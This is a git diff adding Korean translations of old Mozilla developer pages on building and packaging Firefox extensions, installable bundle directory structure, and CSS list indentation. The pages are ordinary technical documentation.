+<p>여러분의 확장기능 폴더 <strong>내용들</strong>을 Zip 파일로 압축하고 (확장기능 폴더 자체가 아닙니다.) zip 파일 확장자를 .xpi 로 바꾸세요. Windows XP에서는, 여러분의 확장기능 폴더 안 모든 파일과 하위폴더를 고르고 오른쪽 버튼을 누른 뒤 "보내기 -&gt; Compressed (Zipped) Folder"를 골라 이를 쉽게 할 수 있습니다. .zip 파일은 여러분을 위해 만듭니다. 바로 이름을 바꾸면 끝납니다!</p>
+<p>Mac OS X에서는, 확장기능 폴더의 <strong>내용들</strong> 위에서 오른쪽 버튼을 누른 뒤 zip 파일로 만들기 위해 "Create Archive of..."를 고를 수 있습니다. 그러나, Mac OS X가 파일 metadata를 추적(track)할 목적으로 숨김 파일을 폴더에 추가하기 때문에, 터미널을 쓰고 숨김 파일(의 이름은 마침표로 시작합니다)을 지워야 합니다. 그리고 나서 zip 파일을 만들기 위해 명령줄에서 <code>zip</code> 명령을 쓰세요.</p>
+<p>Linux에서도, 역시 명령줄 Zip 도구를 씁니다.</p>
+<p>혹시 여러분이 'Extension Builder' 확장기능을 설치했으면 여러분을 위해 .xpi 파일을 compile할 수 있습니다(도구 -&gt; Extension Developer -&gt; Extension Builder). 단지 여러분의 확장기능(install.rdf 등)이 있는 디렉토리를 탐색하고 Build Extension button을 누르세요. 이 확장기능에 개발을 더 쉽게 하는 많은 도구가 있습니다.</p>
+<p>이제 여러분의 서버에 .xpi 파일을 올려주고(upload), <code>application/x-xpinstall</code>로 다뤄지는지 확인하세요. 여러분은 그 파일에 링크할 수 있고 사람들이 내려받고(download) Firefox에 설치하게 할 수 있습니다. .xpi 파일을 시험할 목적으로 우리는 단지 Tools -&gt; Extensions이나 Add-Ons -&gt; Extensions in FireFox 2을 거쳐 확장기능 창 안에 그것을 끌어다 놓을 수 있습니다.</p>
+<h3 id="addons.mozilla.org_.EC.9D.B4.EC.9A.A9.ED.95.98.EA.B8.B0" name="addons.mozilla.org_.EC.9D.B4.EC.9A.A9.ED.95.98.EA.B8.B0">addons.mozilla.org 이용하기</h3>
+<p>Mozilla Update는 공짜로 확장기능을 host할 수 있는 배포 사이트입니다. 여러분의 확장기능은 비록 매우 유명해지더라도 내려받기를 보장하는 Mozilla의 mirror 네트워크에 host됩니다. Mozilla 사이트는 또한 사용자에게 더 쉬운 설치를 제공하고 여러분이 새 버전을 올려주면 기존 버전 사용자들이 자동으로 이용할 수 있게 합니다. 게다가 Mozilla Update는 사용자들이 여러분의 확장기능에 평(comment)을 하고 feedback을 제공하게 합니다. 여러분이 확장기능을 배포하는 데 Mozilla Update 사용을 강력히 권고합니다!</p>
+<p><a class="external" href="http://addons.mozilla.org/developers/" rel="freelink">http://addons.mozilla.org/developers/</a> 에 방문하여 계정을 만든 뒤 확장기능 배포를 시작하세요!</p>
+<p><em>주의:</em> 여러분의 확장기능은 좋은 설명과 확장기능 실행 스크린샷(screenshot)이 있으면 더 빨리 퍼지고 더 많이 내려받습니다.</p>
+<h3 id="Windows_.EB.A0.88.EC.A7.80.EC.8A.A4.ED.8A.B8.EB.A6.AC.EC.97.90_.ED.99.95.EC.9E.A5.EA.B8.B0.EB.8A.A5_.EB.93.B1.EB.A1.9D.ED.95.98.EA.B8.B0" name="Windows_.EB.A0.88.EC.A7.80.EC.8A.A4.ED.8A.B8.EB.A6.AC.EC.97.90_.ED.99.95.EC.9E.A5.EA.B8.B0.EB.8A.A5_.EB.93.B1.EB.A1.9D.ED.95.98.EA.B8.B0">Windows 레지스트리에 확장기능 등록하기</h3>
+<p>Windows에서, 확장기능 정보는 레지스트리에 추가될 수 있고 확장기능은 응용프로그램이 시작하는 다음 번에는 자동으로 pick up됩니다. 이는 응용프로그램 설치프로그램이 쉽게 integration hook을 확장기능에 추가하게 합니다. 더 많은 정보는 <a href="/ko/docs/Adding_Extensions_using_the_Windows_Registry" title="Adding_Extensions_using_the_Windows_Registry">Windows 레지스트리를 써서 확장기능 추가하기</a>를 보세요.</p>
+<h2 id="XUL_Overlay_.EB.8D.94_.EB.A7.8E.EC.9D.80_.EC.A0.95.EB.B3.B4" name="XUL_Overlay_.EB.8D.94_.EB.A7.8E.EC.9D.80_.EC.A0.95.EB.B3.B4">XUL Overlay 더 많은 정보</h2>
+<p>병합점에 UI 위젯 추가 외에 또, Overlay 안에 XUL 조각을 다음에 쓸 수 있습니다.</p>
+<ul>
+ <li>병합점에 있는 속성 수정, 예컨대 <code>&lt;statusbar id="status-bar" hidden="true"/&gt;</code> (status bar 숨김)</li>
+ <li>주 문서에서 병합점 제거, 예컨대 <code>&lt;statusbar id="status-bar" removeelement="true"/&gt;</code></li>
+ <li>삽입되는 위젯의 자리 제어:</li>
+</ul>
+<pre>&lt;statusbarpanel position="1" .../&gt;
+
+&lt;statusbarpanel insertbefore="other-id" .../&gt;
+
+&lt;statusbarpanel insertafter="other-id" .../&gt;
+</pre>
+<h2 id=".EC.83.88.EB.A1.9C.EC.9A.B4_.EC.82.AC.EC.9A.A9.EC.9E.90_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4_.EC.BB.B4.ED.8F.AC.EB.84.8C.ED.8A.B8_.EB.A7.8C.EB.93.A4.EA.B8.B0" name=".EC.83.88.EB.A1.9C.EC.9A.B4_.EC.82.AC.EC.9A.A9.EC.9E.90_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4_.EC.BB.B4.ED.8F.AC.EB.84.8C.ED.8A.B8_.EB.A7.8C.EB.93.A4.EA.B8.B0">새로운 사용자 인터페이스 컴포넌트 만들기</h2>
+<p>여러분은 UI 위젯을 조작하는 DOM 메소드를 써서 .js 파일에서 사용자 동작을 구현하여 기능(functionality)을 제공하는 분할한 .xul 파일로 여러분의 창과 대화상자를 만들 수 있습니다. 이미지 붙임, 색 설정 등을 하기 위해 .css 파일에서 스타일 규칙을 쓸 수 있습니다.</p>
+<p>XUL 개발자를 위한 더 많은 자원(resource)은 <a href="/ko/docs/XUL" title="XUL">XUL</a> 문서를 보세요.</p>
+<h2 id="Defaults_File" name="Defaults_File">Defaults File</h2>
+<p>Defaults file은 여러분의 확장기능 폴더 계층의 루트 아래 <code>defaults/</code>에 놓일 사용자 profile을 뿌리는(seed) 데 씁니다. <code>defaults/preferences/</code>에 저장될 Default preferences .js file - .js 파일을 여기에 놓으면 시작할 때 Firefox preferences system에 의해 자동으로 로드되어 <a href="/ko/docs/Preferences_API" title="Preferences_API">Preferences API</a>를 써서 파일에 접근할 수 있습니다.</p>
+<h2 id="XPCOM_.EC.BB.B4.ED.8F.AC.EB.84.8C.ED.8A.B8" name="XPCOM_.EC.BB.B4.ED.8F.AC.EB.84.8C.ED.8A.B8">XPCOM 컴포넌트</h2>
+<p>Firefox는 확장기능에 <a href="/ko/docs/XPCOM" title="XPCOM">XPCOM</a> 컴포넌트를 지원합니다. 여러분은 JavaScript나 C++(<a href="/ko/docs/Gecko_SDK" title="Gecko_SDK">Gecko SDK</a>를 써서)로 쉽게 자신만의 컴포넌트를 만들 수 있습니다.</p>
+<p><code>components/</code> 디렉토리에 모든 .js나 .dll 파일을 두세요 - 여러분의 확장기능이 설치된 뒤 Firefox가 도는 첫 번에 자동으로 등록됩니다.</p>
+<p>더 많은 정보는 <a href="/ko/docs/How_to_Build_an_XPCOM_Component_in_Javascript" title="How_to_Build_an_XPCOM_Component_in_Javascript">JavaScript로 XPCOM 컴포넌트 빌드하는 법</a>과 책 <a href="/ko/docs/Creating_XPCOM_Components" title="Creating_XPCOM_Components">XPCOM 컴포넌트 만들기</a>를 보세요.</p>
+<h3 id=".EC.9D.91.EC.9A.A9.ED.94.84.EB.A1.9C.EA.B7.B8.EB.9E.A8_.EB.AA.85.EB.A0.B9.EC.A4.84" name=".EC.9D.91.EC.9A.A9.ED.94.84.EB.A1.9C.EA.B7.B8.EB.9E.A8_.EB.AA.85.EB.A0.B9.EC.A4.84">응용프로그램 명령줄</h3>
+<p>사용자 정의(custom) XPCOM 컴포넌트의 가능한 쓰임 가운데 하나는 Firefox 나 Thunderbird 에 명령줄 처리기 추가입니다. 여러분은 확장기능을 응용프로그램으로 실행하는 데 이 기술을 쓸 수 있습니다.</p>
+<pre> firefox.exe -myapp
+</pre>
+<p><span class="comment">I should move the useful parts of this to the Command Line page. -Nickolay This is done by adding a component containing the function... function NSGetModule(comMgr, fileSpec) { return myAppHandlerModule; } 이 함수는 firefox가 시작할 때마다 firefox가 실행합니다. Firefox registers the myAppHandlerModule's by calling its 'registerSelf()'. Then it obtains the myAppHandlerModule's handler factory via 'getClassObject()'. The handler factory is then used to create the handle using its 'createInstance(). Finally, the handle's 'handle(cmdline)' processes the command line cmdline's handleFlagWithParam() and handleFlag().</span> 상세한 내용은 <a href="/ko/docs/Chrome/Command_Line" title="Chrome/Command_Line">Chrome: Command Line</a>과 <a class="external" href="http://forums.mozillazine.org/viewtopic.php?t=365297">forum discussion</a>을 보세요.</p>
+<h2 id=".EC.A7.80.EC.97.AD.ED.99.94" name=".EC.A7.80.EC.97.AD.ED.99.94">지역화</h2>
+<p>하나 이상의 언어를 지원하려면, <a href="/ko/docs/XUL_Tutorial/Localization" title="XUL_Tutorial/Localization">entities</a>와 <a href="/ko/docs/XUL_Tutorial/Property_Files" title="XUL_Tutorial/Property_Files">string bundles</a>을 써서 content에서 문자열을 분리해야 합니다. 돌아와서 나중에 하기보다는 확장기능을 개발하면서 하면 훨씬 더 쉽습니다!</p>
+<p>지역화 정보는 그 확장기능을 위한 locale 디렉토리에 저장됩니다. 예를 들어, sample 확장기능에 locale을 추가하려면, chrome 디렉토리("content" 디렉토리가 위치한)에 "locale"로 이름 붙인 디렉토리를 만들고 chrome.manifest 파일에 다음 줄을 추가하세요:</p>
+<pre>locale sample sampleLocale chrome/locale/
+</pre>
+<p>XUL로 localizable 속성값을 만들려면, <code>.ent</code>(나 <code>.dtd</code>) 파일에 그 값을 써넣으세요, 속성값은 locale 디렉토리에 놓이고 이와 같이 보입니다.</p>
+<pre>&lt;!ENTITY  button.label     "Click Me!"&gt;
+&lt;!ENTITY  button.accesskey "C"&gt;
+</pre>
+<p>그리고 나서 XUL 문서 상단(하지만 "&lt;?xml version"1.0"?&gt;" 아래)에 이렇게 포함(include)하세요.</p>
+<pre>&lt;!DOCTYPE <strong>window</strong> SYSTEM "<a class="external" rel="freelink">chrome://packagename/locale/filename.ent</a>"&gt;
+</pre>
+<p><code><strong>window</strong></code>는 XUL 문서 루트 요소의 <code><a href="/ko/docs/DOM/element.localName" title="DOM/element.localName">localName</a></code>값이고 <code>SYSTEM</code> 프로퍼티 값은 엔티티(entity) 파일의 chrome URI입니다. sample 확장기능에서, 루트 요소는 <code><strong>overlay</strong></code>입니다.</p>
+<p>그 엔티티를 쓰려면, XUL을 이렇게 보이도록 수정하세요.</p>
+<pre>&lt;button label="&amp;button.label;" accesskey="&amp;button.accesskey;"/&gt;
+</pre>
+<p>Chrome Registry가 선택한 locale과 대응하는 지역화 묶음에서 로드된 엔티티 파일인지 확인합니다.</p>
+<p>스크립트에서 쓴 문자열은, 이 형식으로 각 줄에 문자열이 있는 .properties 파일, 텍스트 파일을 만드세요.</p>
+<pre>key=value
+</pre>
+<p>그리고 나서 스크립트에 그 값을 로드하기 위해 <code><a href="/ko/docs/NsIStringBundleService" title="NsIStringBundleService">nsIStringBundleService</a></code>/<code><a href="/ko/docs/NsIStringBundle" title="NsIStringBundle">nsIStringBundle</a></code>이나 <code><a class="external" href="http://xulplanet.com/references/elemref/ref_stringbundle.html">&lt;stringbundle&gt;</a></code> tag을 쓰세요.</p>
+<h2 id=".EB.B8.8C.EB.9D.BC.EC.9A.B0.EC.A0.80_.EC.9D.B4.ED.95.B4.ED.95.98.EA.B8.B0" name=".EB.B8.8C.EB.9D.BC.EC.9A.B0.EC.A0.80_.EC.9D.B4.ED.95.B4.ED.95.98.EA.B8.B0">브라우저 이해하기</h2>
+<p>브라우저 창이나 여러분이 확장하길 원하는 어떤 다른 XUL 창을 검사하려면 <a href="/ko/docs/DOM_Inspector" title="DOM_Inspector">DOM Inspector</a> (<strong>Standard</strong> Firefox 설치 부분이 아님, browser의 Tools(도구) 메뉴에 "DOM Inspector" 항목이 없으면 사용자 정의 설치 경로로 재설치하고 <strong>Developer Tools</strong>를 골라야 합니다)를 쓰세요.</p>
+<p>노드를 선택하기 위해 XUL 창의 노드를 눈에 보이게 클릭하려면 DOM Inspector toolbar 좌상단에 있는 point-and-click 노드 finder button을 쓰세요. 이렇게 하면 DOM inspector의 DOM 계층 tree view는 여러분이 클릭하는 노드로 건너뜁니다.</p>
+<p>overlay에서 여러분의 요소를 삽입하는 데 쓸 수 있는 id 붙은 병합점을 발견하려면 DOM Inspector의 오른쪽 패널을 쓰세요. 병합할 수 있는 id 붙은 요소를 발견할 수 없으면, overlay에 스크립트 붙임과 <code>load</code> 이벤트가 주 XUL 창 위에 발생할 때 요소 삽입이 필요할 지도 모릅니다.</p>
+<h2 id=".ED.99.95.EC.9E.A5.EA.B8.B0.EB.8A.A5_.EB.94.94.EB.B2.84.EA.B7.B8.ED.95.98.EA.B8.B0" name=".ED.99.95.EC.9E.A5.EA.B8.B0.EB.8A.A5_.EB.94.94.EB.B2.84.EA.B7.B8.ED.95.98.EA.B8.B0">확장기능 디버그하기</h2>
+<p><strong>디버깅을 위한 분석 도구</strong></p>
+<ul>
+ <li><a href="/ko/docs/DOM_Inspector" title="DOM_Inspector">DOM Inspector</a> - 속성, DOM 구조, CSS 스타일 규칙을 검사(예컨대 왜 여러분의 스타일 규칙이 요소에서 작동하지 않는지 찾아냄 - 매우 귀중한 도구!)</li>
+ <li><a href="/ko/docs/Venkman" title="Venkman">Venkman</a> - JavaScript에서 중단점(breakpoint)을 설정하고 호출 스택(call stack) 검사</li>
+ <li>JavaScript의 <code><a href="/ko/docs/Core_JavaScript_1.5_Reference/Objects/Function/arguments/callee" title="Core_JavaScript_1.5_Reference/Objects/Function/arguments/callee">arguments.callee</a>.<a href="/ko/docs/Core_JavaScript_1.5_Reference/Objects/Function/caller" title="Core_JavaScript_1.5_Reference/Objects/Function/caller">caller</a></code> - 함수의 호출 스택 접근</li>
+</ul>
+<p><strong>printf 디버깅</strong></p>
+<ul>
+ <li>명령줄에서 <code>-console</code>을 붙여 Firefox 실행하고 <code><a href="/ko/docs/DOM/window.dump" title="DOM/window.dump">dump</a>("string")</code> 사용(상세한 내용은 링크를 보세요)</li>
+ <li>JavaScript 콘솔에 log하기 위해 <code><a href="/ko/docs/NsIConsoleService" title="NsIConsoleService">nsIConsoleService</a></code> 사용</li>
+</ul>
+<p><strong>고급 디버깅</strong></p>
+<ul>
+ <li>디버그 Firefox 빌드를 실행하고 Firefox 자체나 여러분의 C++ 컴포넌트에 중단점 설정. 숙련된 개발자에게, 이는 대부분 문제를 진단(diagnose)하는 가장 빠른 방법입니다. 더 많은 정보는 <a href="/ko/docs/Build_Documentation" title="Build_Documentation">Build Documentation</a>와 <a href="/ko/docs/Developing_Mozilla" title="Developing_Mozilla">Mozilla 개발하기</a>를 보세요.</li>
+ <li>더 도움이 되는 팁은 <a href="/ko/docs/Debugging_a_XULRunner_Application" title="Debugging_a_XULRunner_Application">XULRunner 응용프로그램 디버그하기</a>를 보세요.</li>
+</ul>
+<h3 id=".EB.B9.A0.EB.A5.B8_.EC.8B.9C.EC.9E.91" name=".EB.B9.A0.EB.A5.B8_.EC.8B.9C.EC.9E.91">빠른 시작</h3>
+<p>여러분은 작동하는 단순 확장기능을 만드는 데 <a class="external" href="http://ted.mielczarek.org/code/mozilla/extensionwiz/">Extension Wizard</a> 온라인 도구를 쓸 수 있습니다.</p>
+<p>Extension Wizard로 만들 수 있는 것과 비슷한 <a class="external" href="http://mozilla.doslash.org/stuff/helloworld.zip">Hello World 확장기능</a>은 <a class="external" href="http://kb.mozillazine.org/Getting_started_with_extension_development">MozillaZine Knowledge Base의 다른 입문서</a>에서 한 줄 한 줄 설명합니다.</p>
+<h3 id=".EB.B6.80.EA.B0.80_.EC.A0.95.EB.B3.B4" name=".EB.B6.80.EA.B0.80_.EC.A0.95.EB.B3.B4">부가 정보</h3>
+<ul>
+ <li><a href="/ko/docs/Extension_FAQ" title="Extension_FAQ">Extension FAQ</a></li>
+ <li><a href="/ko/docs/Extensions" title="Extensions">Extensions</a></li>
+</ul>
diff --git a/files/ko/bundles/index.html b/files/ko/bundles/index.html
new file mode 100644
index 0000000000..3e3f38a936
--- /dev/null
+++ b/files/ko/bundles/index.html
@@ -0,0 +1,67 @@
+---
+title: Bundles
+slug: Bundles
+tags:
+  - Toolkit API
+translation_of: Archive/Mozilla/Bundles
+---
+<p><span>title-override Structure of an Installable Bundle /title-override 이 부분은 에러가 나서 리마킹한 부분임. 나중에 새로 고칠 필요가 있음.</span>
+</p><p><a href="ko/XUL_Application_Packaging">XULRunner 어플리케이션</a>, <a href="ko/Extensions">확장 기능(extension)</a>, <a href="ko/Themes">테마(themes)</a> 등은 공통의 디렉토리 구조를 공유합니다. 경우에 따라서는 같은 번들이 독립적인 XULRunner 어플리케이션으로 쓰임과 동시에 설치 가능한 확장 기능으로 사용될 수도 있습니다. 번들의 기본 구조에는 다음과 같은 파일들이 포함될 수 있습니다 </p>
+<pre class="eval">/<a href="ko/Install.rdf">install.rdf</a>                        <i>Extension/Theme Install Manifest</i>
+/<a href="ko/XUL_Application_Packaging">application.ini</a>                    <i>Application Launch Manifest</i>
+/components/*                       <i>Component and XPT Files</i>      (&gt;=1.7)
+<a href="ko/Building_an_Extension#Defaults_Files">/defaults/preferences/*.js</a>          <i>Default Preferences</i>          (&gt;=1.7)
+/plugins/*                          <i>NPAPI Plugins</i>                (&gt;=1.8)
+/<a href="ko/Chrome.manifest">chrome.manifest</a>                    <i>Chrome Registration Manifest</i> (&gt;=1.8)
+/<a href="ko/Window_icons">chrome/icons/default/*</a>             <i>Window Icons</i>                 (&gt;=1.8)
+</pre>
+<p>물론 확장 기능을 구현할 때 이러한 모든 디렉토리가 필요한 것은 아닙니다(그렇게 되지도 않을 것입니다). 테마의 경우에는 보안의 이유로 제한을 받으며, 보통 테마와 JAR 파일을 등록하는 <a href="ko/Chrome.manifest">chrome.manifest</a> 만을 제공합니다. </p><p><br>
+</p>
+<h3 id="플랫폼_종속적platform_specific인_하위_디렉토리들"> 플랫폼 종속적(platform specific)인 하위 디렉토리들 </h3>
+<p>경우에 따라서는 한 개의 확장 기능이나 어플리케이션이 여러 플랫폼을 지원하기 위한 바이너리 구성 요소 또는 플러그인을 포함하여야 할 때가 있습니다. 또는 테마 저작자가 플랫폼 종속적인 JAR 파일들을 플랫폼별로 포함시킬 수도 있습니다. 첫번째 경우에는 extension/app loader 가 플랫폼 종속적인 파일들( Toolkit/Gecko 1.8, Firefox/Thunderbird 1.5 로 시작하는 )만을 위한 하위 디렉토리를 가지게 됩니다. 플랫폼 문자열은 툴킷 빌드 과정에서 정의되는데, 운영체제, 프로세서 아키텍처, 컴파일러 등의 이름들의 조합으로 만들어지며, 그 형식은 다음과 같습니다. </p>
+<pre class="eval"><i>{OS_TARGET}</i>_<i>{<a href="ko/XPCOM_ABI">TARGET_XPCOM_ABI</a>}</i>
+</pre>
+<p>주 확장 디렉토리에서 로드되는 모든 파일들은 (만약 존재한다면) 다음 하위 디렉토리로부터 로드됩니다. </p>
+<pre class="eval">/platform/<i>{platform string}</i>
+</pre>
+<p>예를 들어, 리눅스, 매킨토시, 윈도우에서 돌아가는 플러그인을 만들고자 하는 경우, 제작사는 다음과 같은 파일들을 제공하게 됩니다. </p>
+<pre class="eval">/platform/Linux_x86-gcc3/plugins/libMyPlugin.so
+/platform/WINNT_x86-msvc/plugins/MyPlugin.dll
+/platform/Darwin_ppc-gcc3/plugins/libMyPlugin.dylib
+</pre>
+<p>XPT 파일들은 플랫폼 종속적이 아니기 때문에 모든 관련된 XPT 파일들은 일단 컴포넌트 디렉토리에 저장됩니다. </p>
+<pre class="eval">/components/MyPlugin.xpt
+</pre>
+<p>만약 확장 기능이 플랫폼 종속적이지만 바이너리가 아닌 경우에는 ( 스크립트에서 윈도우 레지스트리를 참조하는 경우와 같이 ), 다음과 같이 운영 체제 이름만을 플랫폼 하위 디렉토리로 사용할 수 있습니다. </p>
+<pre class="eval">/platform/WINNT/components/registerDoctype.js
+</pre>
+<p>플랫폼 종속적인 JAR 파일들이 사용되는 경우, 각 플랫폼 디렉토리에는 각각의 <code>chrome.manifest</code>파일이 저장되어 있어야 합니다. </p>
+<pre class="eval">chrome.manifest
+chrome/mytheme-base.jar
+platform/Darwin/chrome.manifest
+platform/Darwin/chrome/mytheme-mac.jar
+platform/WINNT/chrome.manifest
+platform/WINNT/chrome/mytheme-win.jar
+</pre>
+<p>app/extension loader 는 베이스 디렉토리를 먼저 처리한 후, 적용 가능한 플랫폼 디렉토리를 처리합니다. ( 먼저 /{OS_TARGET}/을 처리하고, /{OS_TARGET}_{<a href="ko/XPCOM_ABI">TARGET_XPCOM_ABI</a>}/를 처리합니다. ) 만약 여러 개의 디렉토리들에 기본 설정들이 정의되어 있는 경우에는 나중에 로드되는 항목이 먼저 로딩된 항목을 덮어쓰게 됩니다. </p>
+<h3 id="어플리케이션_종속적인Application-specific_확장_기능_파일들"> 어플리케이션 종속적인(Application-specific) 확장 기능 파일들 </h3>
+<p>위에 기술된 확장 기능 파일들 외에, 어플리케이션의 경우 확장 기능으로부터 추가적인 파일을 읽을 수도 있습니다. 예를 들어 <a href="ko/Firefox_1.5">Firefox 1.5</a> 나 상위 버전의 경우, </p>
+<pre class="eval">/searchplugins/*.src
+</pre>
+<p>로부터 Sherlock 검색 플러그인을 읽을 수도 있습니다. <a href="ko/Firefox_2">Firefox 2</a> 와 그 상위 버전들은 </p>
+<pre class="eval">/searchplugins/*.xml
+</pre>
+<p>디렉토리로부터 <a href="ko/Creating_MozSearch_plugins">MozSearch and OpenSearch plugins</a>를, </p>
+<pre class="eval">/dictionaries/*.{aff|dic}
+</pre>
+<p>디렉토리로부터 Myspell 사전을 읽을 수도 있습니다. </p>
+<h3 id="Toolkit_API_에_대한_공식_문서"> <a href="ko/Toolkit_API">Toolkit API</a> 에 대한 공식 문서 </h3>
+<p>
+  </p><ul>
+    <li><a href="/ko/Bundles" title="ko/Bundles">설치 가능한 번들</a>: 설치 가능한 번들(확장 기능, 테마, XULRunner 어플리케이션 등)에 대하여 기술하고 있습니다.</li>
+    <li><a href="/ko/Extension_Packaging" title="ko/Extension_Packaging">확장기능 포장</a>: 확장 기능을 포장하는 방법에 대한 정보를 제공합니다.</li>
+    <li><a href="/ko/Theme_Packaging" title="ko/Theme_Packaging">테마 포장</a>: 테마 기능을 포장하는 방법에 대한 정보를 제공합니다.</li>
+    <li><a href="/Ko/Multiple_Item_Packaging" title="Ko/Multiple_Item_Packaging">여러 항목을 포함한 XPI 포장</a>: 여러 항목들이 포함되는 XPI 를 포장하는 방법에 대한 정보를 제공합니다.</li>
+    <li><a href="/ko/XUL_Application_Packaging" title="ko/XUL_Application_Packaging">XUL 응용프로그램 포장</a>: XULRunner 응용프로그램을 포장하는 방법에 대한 정보를 제공합니다.</li>
+    <li><a href="/ko/Chrome_Registration" title="ko/Chrome_Registration">Chrome 등록</a>: Chrome의 등록하는 방법에 대한 정보를 제공합니다.</li>
+  </ul>
diff --git a/files/ko/consistent_list_indentation/index.html b/files/ko/consistent_list_indentation/index.html
new file mode 100644
index 0000000000..675b5127f3
--- /dev/null
+++ b/files/ko/consistent_list_indentation/index.html
@@ -0,0 +1,106 @@
+---
+title: Consistent List Indentation
+slug: Consistent_List_Indentation
+tags:
+  - CSS
+  - Guide
+  - NeedsUpdate
+translation_of: Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation
+---
+<div>{{CSSRef}}</div>
+
+<p>가장 흔하게 리스트에 적용되는 스타일 변경은 들여쓰기(indentation)거리의 변경입니다 -- 즉, 리스트 아이텡을 오른쪽으로 얼마나 멀리 들여쓸것인가 라는것입니다. 이 작업은 가끔 한 브라우저에서 나오던 효과가 다른 브라우저에서는 같은 효과를 내지 못해서 애를 먹게하곤 합니다. 예를들면, 리스트가 왼쪽 마진을 갖지 못하도록 선언할 경우, 익스플로러에선 이동이되지만, Gecko기반의 브라우저에선 고집스럽게도 꼼짝않고 제 자리를 지키며 있는 그런 경우 입니다.</p>
+
+<p>왜 이런 일이 일어나는 가를 이해하고 더 나아가 이러한 문제점을 피해나갈 방법을 이해하기 위해서, 리스트 형성에대한 세부과정을 검토하는 것이 필요합니다.</p>
+
+<h2 id=".EB.A6.AC.EC.8A.A4.ED.8A.B8_.EB.A7.8C.EB.93.A4.EA.B8.B0" name=".EB.A6.AC.EC.8A.A4.ED.8A.B8_.EB.A7.8C.EB.93.A4.EA.B8.B0">리스트 만들기</h2>
+
+<p>먼저, 한개의 단순한 리스트 아이템을 생각해봅시다. 이 리스트 아이템엔 아무런 마커(불렛이라고도 알려져 있습니다)도 없고, 아직 그자체로 어떤 리스트의 부분이 아닙니다. 그림 1에서 보이는 바와같이, 단순하고 아무 치장도 없는 채로 그냥 혼자 허공에 떠 있는 상태라고 할 수 있습니다.</p>
+
+<p><img alt="Figure 1" src="https://developer.mozilla.org/@api/deki/files/619/=Consistent-list-indentation-figure1.gif"></p>
+
+<p>빨간 점선으로된 경계선은 리스트 아이템의 내용물-지역의 바깥 경계를 나타내고 있습니다. 이 시점에서 리스트 아이템은 패딩이나 보더(경계)를 가지고 있지 않다는 점을 상기하십시오. 만약 2개의 리스트 아이템을 더 추가 한다면, 그림 2에 보여진 것과같은 결과를 얻게 될 것입니다.</p>
+
+<p><img alt="Figure 2" src="https://developer.mozilla.org/@api/deki/files/620/=Consistent-list-indentation-figure2.gif"></p>
+
+<p>이제 이 아이템들을 부모 엘리먼트로 랩핑(포장)합니다; 이 경우, 우리는 아이템들을 순서없는 리스트로 (즉, <code>&lt;ul&gt;</code>) 랩핑합니다. CSS 상자(박스) 모델에 의하면, 리스트 아이템들의 상자들은 부모 엘리먼트의 내용물-지역안에 디스플레이 되어야만 합니다. 이 부모 엘리먼트에 패딩이나 마진이 아직 없으므로 우리는 그림 3에 보여진 것과 같은 상황을 맞이하게 됩니다.</p>
+
+<p><img alt="Figure 3" src="https://developer.mozilla.org/@api/deki/files/621/=Consistent-list-indentation-figure3.gif"></p>
+
+<p>여기서, 푸른 점선 경계선은 <code>&lt;ul&gt;</code>엘리먼트의 내용물 지역의 경계를 보여줍니다. <code>&lt;ul&gt;</code>엘리먼트에 패딩이 없으므로 엘리먼트의 내용물은 세 리스트 아이템들을 촘촘하게 랩핑하게 됩니다.</p>
+
+<p>이제, 리스트 아이템 마커를 추가합니다. 이 리스트는 순서가 없는 리스트이므로, 그림 4에 보여긴 것 같은 전통적인 채워진 원 불렛을 추가합니다.</p>
+
+<p><img alt="Figure 4" src="https://developer.mozilla.org/@api/deki/files/622/=Consistent-list-indentation-figure4.gif"></p>
+
+<p>보여지는 것으론, 마커들은 <code>&lt;ul&gt;</code>의 내용물-지역의<em>바깥</em> 에 있으나, 여기서 이점은 그다지 중요하지 않습니다. 중요한 점은 마커들이 <code>&lt;li&gt;</code>엘리먼트들의 "principal 상자"의 밖에 놓여진다는 점입니다. 이 마커들은 <code>&lt;lt&gt;</code>의 내용물-지역의 밖에 매달려 있으나 여전히 <code>&lt;li&gt;</code>에 부착되어있는 일종의 리스트 아이템들의 꼬리표같다고 할 수 있습니다.</p>
+
+<p><br>
+ 바로 이런 이유로, 윈도우의 익스플로러을 제외한 모든 브라우저에서, 마커들이 <code>&lt;li&gt;</code>엘리먼트에 지정된 보더밖에 놓이며, <code>list-sytle-position</code>값으로 <code>outside</code>를 취하게 되는 것입니다. 만일 값이 <code>inside</code>로 바뀌게 되면, 마커들은, 비록 <code>&lt;li&gt;</code>의 바로 시작부분에 놓여진 inline 상자임에도 불구하고, <code>&lt;li&gt;</code> 안쪽으로 옯겨지게 됩니다.</p>
+
+<h2 id=".EB.91.90.EB.B2.88_.EB.93.A4.EC.97.AC.EC.93.B0.EA.B8.B0" name=".EB.91.90.EB.B2.88_.EB.93.A4.EC.97.AC.EC.93.B0.EA.B8.B0">두번 들여쓰기</h2>
+
+<p>그럼 이 모든게 문서에서는 어떻게 나타날까요? 현재, 우리는 아래의 스타일들에 비견되는 상황에 있다고 할 수 있습니다.</p>
+
+<pre>ul, li {margin-left: 0; padding-left: 0;}</pre>
+
+<p>만일 이 리스트를 있는 그대로 문서에 삽입할 경우, 가시적 들여쓰기 효과는 나타나지 않고, 마커들은 브라우저 윈도우의 왼쪽끝으로 잘려나갈 상황에 처하게 될것입니다.</p>
+
+<p>이를 피하고 들여쓰기효과를 얻을 목적으로 브라우저 개발자들에게 사용가능한 옵션은 다음의 세가지밖에 없습니다.</p>
+
+<ol>
+ <li>각 <code>&lt;li&gt;</code> 엘리먼트에 왼쪽 마진을 준다.</li>
+ <li><code>&lt;ul&gt;</code> 엘리먼트에 왼쪽 마진을 준다.</li>
+ <li><code>&lt;ul&gt;</code> 엘리먼트에 왼쪽 패딩을 준다.</li>
+</ol>
+
+<p>결과론적으로, 누구도 첫번째 옵션을 사용하지는 않는것 같습니다. 두번째 옵션은 윈도우 익스플로러, 매킨토쉬, 그리고 오페라에서 적용되었습니다. 세번째 옵션은 Gecko 와 범주상 이를 임베드해서 사용하는 모든 브라우저들에 적용되었다고 할 수 있습니다.</p>
+
